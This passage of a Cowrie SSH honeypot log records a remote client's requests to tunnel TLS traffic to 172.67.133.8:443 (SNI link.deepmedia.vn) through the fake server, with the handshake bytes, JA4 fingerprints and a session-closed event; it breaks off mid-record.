\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5\\xb3\\xe46\\xfaN )T\\xdf\\xb7\\x0c\\xf8\\x04h}P\\xf4\\xe0`\\xff\\xa0u\\x99\\xe5\\xc3\\xce_#\\xa9\\x88\\xbb  \\xd5\\x13\\x12S\\xde\\xce.\\x8a\\xfc\\xd5\\xfd\\xb83\\xf4\\xd2\\x9eQ\\x9d;\\xb5\">\\xff\\xe0\\xd5q\\xa4\\x8e(k\\xb3\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc1\\x9b\\xdb\\x90\\x8d\\xf1\\x92\\xa5B\\x0cI\\xd3\\x08\\xf7\\xca\\x9b\\x90\\xb9Z\\xe4\\xc8\\xe8C\\xcde\\x80\\xb1\\x14\\x82|\\x8cr\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:33.258045Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:33.263591Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8a\\xed\\xd9s\\x96\\xb26\\x9a\\xe4\\x0b\\xe8GqtTu\\x0bn\\xd4\\xf5\\x9b9E\\x02\\xf8\\xe8e\\xef\\x96\\xbc6U \\xd3C=\\xb6\\x1aK\\xe0\\x7f\\x91`u\\x17\\x9d\\x18\\xa9\\xca\\x1b\\x85\\xcd\\xd0\\xc1Y\\xecK\\x8b\\xcd:s\\x89\\xbd\\xd35\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 vPA\\xf0\\x82\\xd5\\xaa\\xad0\\xd4<K\\xb8\\xabt\\xd2\\n`\\x87\\xe9bK\\xbf\\xa8\\x02\\xde\\xd1!(\\xc5\\x93v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":5,"message":"discarded direct-tcp forward request 5 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8a\\xed\\xd9s\\x96\\xb26\\x9a\\xe4\\x0b\\xe8GqtTu\\x0bn\\xd4\\xf5\\x9b9E\\x02\\xf8\\xe8e\\xef\\x96\\xbc6U \\xd3C=\\xb6\\x1aK\\xe0\\x7f\\x91`u\\x17\\x9d\\x18\\xa9\\xca\\x1b\\x85\\xcd\\xd0\\xc1Y\\xecK\\x8b\\xcd:s\\x89\\xbd\\xd35\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 vPA\\xf0\\x82\\xd5\\xaa\\xad0\\xd4<K\\xb8\\xabt\\xd2\\n`\\x87\\xe9bK\\xbf\\xa8\\x02\\xde\\xd1!(\\xc5\\x93v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:33.266417Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.8","message":"Connection lost after 27.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:37.061190Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:41.571782Z","session":"f2c83ba79b95","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:41.631902Z","src_ip":"23.175.50.52","session":"f2c83ba79b95","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03*=-\\x17\\xb7\\x13\\x85&\\x8b\\x00 *W\\xa7;v\\xbc%\\xd0\\xbe\\xa7SK\\xe0\\xae\\x02\\xa4\\x82\\xf5\\xcc\\x94e !\\x9a\\x19\\xe9\\xfb\\x0b\\x01*<ju\\xcf\\xd6\\x15_cd\\xber\\x8e\\xd4<{lSC\\xfb\\xcc\\xbcP\\x9fz\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbe\\xc6\\x89B\\xfa\\xc1\\xab\\x82\"\\xf3W\\n\\xdaX\\xef(k|\\x11S\\xee\\x97f\\xdd\\xdcc\\xbe\\x8f\\xc4zvK\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03*=-\\x17\\xb7\\x13\\x85&\\x8b\\x00 *W\\xa7;v\\xbc%\\xd0\\xbe\\xa7SK\\xe0\\xae\\x02\\xa4\\x82\\xf5\\xcc\\x94e !\\x9a\\x19\\xe9\\xfb\\x0b\\x01*<ju\\xcf\\xd6\\x15_cd\\xber\\x8e\\xd4<{lSC\\xfb\\xcc\\xbcP\\x9fz\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbe\\xc6\\x89B\\xfa\\xc1\\xab\\x82\"\\xf3W\\n\\xdaX\\xef(k|\\x11S\\xee\\x97f\\xdd\\xdcc\\xbe\\x8f\\xc4zvK\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:41.634885Z","src_ip":"23.175.50.52","session":"f2c83ba79b95","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:41.697218Z","session":"f2c83ba79b95","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:41.770573Z","src_ip":"23.175.50.52","session":"f2c83ba79b95","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Iy\\xa1\\x01\\xb0\\xd2\\xad\\r\\x86c\\x80V\\xdeX\\xae\\x81\\xe7j]r\\xfc\\xfa\\r\\x95\\xf3[\\x99\\x18N\\xbe\\xba\\n i\\xb5\\xf1\\xac\\xe6U\\x1d\\xfa{\\x9f\\xac\\xd0\\xa9H@Wg\\x8dq\\x93\\x87I\\x9e\\xc9M\\x8by\\x7f\\x87-1\\xa4\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbd\\x11\\xb2\\xa8~\\xea\\xd5\\xe4C\\x99\\xbf-LL\\x06a\\xd7W\\xb8\\xfc?\\xb6\\x13\\xc8\\xf0O\\xad4\\x1e^\\xf7\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Iy\\xa1\\x01\\xb0\\xd2\\xad\\r\\x86c\\x80V\\xdeX\\xae\\x81\\xe7j]r\\xfc\\xfa\\r\\x95\\xf3[\\x99\\x18N\\xbe\\xba\\n i\\xb5\\xf1\\xac\\xe6U\\x1d\\xfa{\\x9f\\xac\\xd0\\xa9H@Wg\\x8dq\\x93\\x87I\\x9e\\xc9M\\x8by\\x7f\\x87-1\\xa4\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbd\\x11\\xb2\\xa8~\\xea\\xd5\\xe4C\\x99\\xbf-LL\\x06a\\xd7W\\xb8\\xfc?\\xb6\\x13\\xc8\\xf0O\\xad4\\x1e^\\xf7\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\